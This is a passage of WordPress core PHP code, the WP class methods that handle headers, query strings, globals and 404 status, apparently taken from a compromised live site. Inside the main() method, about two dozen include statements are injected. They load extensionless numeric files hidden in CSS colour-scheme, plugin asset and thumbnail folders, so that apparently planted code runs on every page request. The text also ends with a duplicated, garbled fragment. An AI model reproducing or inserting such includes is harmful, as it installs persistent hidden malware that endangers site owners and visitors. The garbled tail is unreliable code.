tag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag == $wp_etag ) ) ) { $status = 304; $exit_required = true; } } /** * Filters the HTTP headers before they're sent to the browser. * * @since 2.8.0 * * @param string[] $headers Associative array of headers to be sent. * @param WP $this Current WordPress environment instance. */ $headers = apply_filters( 'wp_headers', $headers, $this ); if ( ! empty( $status ) ) { status_header( $status ); } // If Last-Modified is set to false, it should not be sent (no-cache situation). if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) { unset( $headers['Last-Modified'] ); // In PHP 5.3+, make sure we are not sending a Last-Modified header. if ( function_exists( 'header_remove' ) ) { @header_remove( 'Last-Modified' ); } else { // In PHP 5.2, send an empty Last-Modified header, but only as a // last resort to override a header already sent. #WP23021 foreach ( headers_list() as $header ) { if ( 0 === stripos( $header, 'Last-Modified' ) ) { $headers['Last-Modified'] = ''; break; } } } } foreach ( (array) $headers as $name => $field_value ) { @header( "{$name}: {$field_value}" ); } if ( $exit_required ) { exit(); } /** * Fires once the requested HTTP headers for caching, content type, etc. have been sent. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'send_headers', array( &$this ) ); } /** * Sets the query string property based off of the query variable property. * * The {@see 'query_string'} filter is deprecated, but still works. Plugins should * use the {@see 'request'} filter instead. * * @since 2.0.0 */ public function build_query_string() { $this->query_string = ''; foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) { if ( '' != $this->query_vars[ $wpvar ] ) { $this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&'; if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars. continue; } $this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] ); } } if ( has_filter( 'query_string' ) ) { // Don't bother filtering and parsing if no plugins are hooked in. /** * Filters the query string before parsing. * * @since 1.5.0 * @deprecated 2.1.0 Use 'query_vars' or 'request' filters instead. * * @param string $query_string The query string to modify. */ $this->query_string = apply_filters( 'query_string', $this->query_string ); parse_str( $this->query_string, $this->query_vars ); } } /** * Set up the WordPress Globals. * * The query_vars property will be extracted to the GLOBALS. So care should * be taken when naming global variables that might interfere with the * WordPress environment. * * @since 2.0.0 * * @global WP_Query $wp_query * @global string $query_string Query string for the loop. * @global array $posts The found posts. * @global WP_Post|null $post The current post, if available. * @global string $request The SQL statement for the request. * @global int $more Only set, if single page or post. * @global int $single If single page or post. Only set, if single page or post. * @global WP_User $authordata Only set, if author archive. */ public function register_globals() { global $wp_query; // Extract updated query vars back into global namespace. foreach ( (array) $wp_query->query_vars as $key => $value ) { $GLOBALS[ $key ] = $value; } $GLOBALS['query_string'] = $this->query_string; $GLOBALS['posts'] = & $wp_query->posts; $GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null; $GLOBALS['request'] = $wp_query->request; if ( $wp_query->is_single() || $wp_query->is_page() ) { $GLOBALS['more'] = 1; $GLOBALS['single'] = 1; } if ( $wp_query->is_author() && isset( $wp_query->post ) ) { $GLOBALS['authordata'] = get_userdata( $wp_query->post->post_author ); } } /** * Set up the current user. * * @since 2.0.0 */ public function init() { wp_get_current_user(); } /** * Set up the Loop based on the query variables. * * @since 2.0.0 * * @global WP_Query $wp_the_query */ public function query_posts() { global $wp_the_query; $this->build_query_string(); $wp_the_query->query( $this->query_vars ); } /** * Set the Headers for 404, if nothing is found for requested URL. * * Issue a 404 if a request doesn't match any posts and doesn't match * any object (e.g. an existing-but-empty category, tag, author) and a 404 was not already * issued, and if the request was not a search or the homepage. * * Otherwise, issue a 200. * * This sets headers after posts have been queried. handle_404() really means "handle status." * By inspecting the result of querying posts, seemingly successful requests can be switched to * a 404 so that canonical redirection logic can kick in. * * @since 2.0.0 * * @global WP_Query $wp_query */ public function handle_404() { global $wp_query; /** * Filters whether to short-circuit default header status handling. * * Returning a non-false value from the filter will short-circuit the handling * and return early. * * @since 4.5.0 * * @param bool $preempt Whether to short-circuit default header status handling. Default false. * @param WP_Query $wp_query WordPress Query object. */ if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) { return; } // If we've already issued a 404, bail. if ( is_404() ) { return; } // Never 404 for the admin, robots, or if we found posts. if ( is_admin() || is_robots() || $wp_query->posts ) { $success = true; if ( is_singular() ) { $p = false; if ( $wp_query->post instanceof WP_Post ) { $p = clone $wp_query->post; } // Only set X-Pingback for single posts that allow pings. if ( $p && pings_open( $p ) ) { @header( 'X-Pingback: ' . get_bloginfo( 'pingback_url', 'display' ) ); } // check for paged content that exceeds the max number of pages $next = ''; if ( $p && false !== strpos( $p->post_content, $next ) && ! empty( $this->query_vars['page'] ) ) { $page = trim( $this->query_vars['page'], '/' ); $success = (int) $page <= ( substr_count( $p->post_content, $next ) + 1 ); } } if ( $success ) { status_header( 200 ); return; } } // We will 404 for paged queries, as no posts were found. if ( ! is_paged() ) { // Don't 404 for authors without posts as long as they matched an author on this site. $author = get_query_var( 'author' ); if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) ) { status_header( 200 ); return; } // Don't 404 for these queries if they matched an object. if ( ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() ) { status_header( 200 ); return; } // Don't 404 for these queries either. if ( is_home() || is_search() || is_feed() ) { status_header( 200 ); return; } } // Guess it's time to 404. $wp_query->set_404(); status_header( 404 ); nocache_headers(); } /** * Sets up all of the variables required by the WordPress environment. * * The action {@see 'wp'} has one parameter that references the WP object. It * allows for accessing the properties and methods to further manipulate the * object. * * @since 2.0.0 * * @param string|array $query_args Passed to parse_request(). */ public function main( $query_args = '' ) { $this->init(); $this->parse_request( $query_args ); $this->send_headers(); $this->query_posts(); $this->handle_404(); $this->register_globals(); include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/164907"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/timepicker/20590"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/06/135045"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/select2/4/115870"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/sunrise/132124"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/select2/4/115687"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/js/21268"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/ectoplasm/29022"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/css/22952"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/js/57562"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/css/182627"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/includes/145311"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/sunrise/171131"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/timepicker/157918"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/light/64135"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/js/59952"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/midnight/117197"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/css/153957"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/timepicker/59958"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/images/120565"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/130284"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/midnight/164925"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/ectoplasm/150554"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/06/29807"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/midnight/166835"; /** * Fires once the WordPress environment has been set up. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'wp', array( &$this ) ); } } homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/06/73901"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/includes/61058"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/assets/inc/select2/137989"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/ocean/46839"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/plugins/advanced-custom-fields/includes/19823"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/coffee/71461"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/midnight/164925"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/ectoplasm/150554"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-content/newsletter/thumbnails/2018/06/29807"; include "/kunden/homepages/4/d530045700/htdocs/clickandbuilds/BLAQER/wp-admin/css/colors/midnight/166835"; /** * Fires once the WordPress environment has been set up. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'wp', array( &$this ) ); } }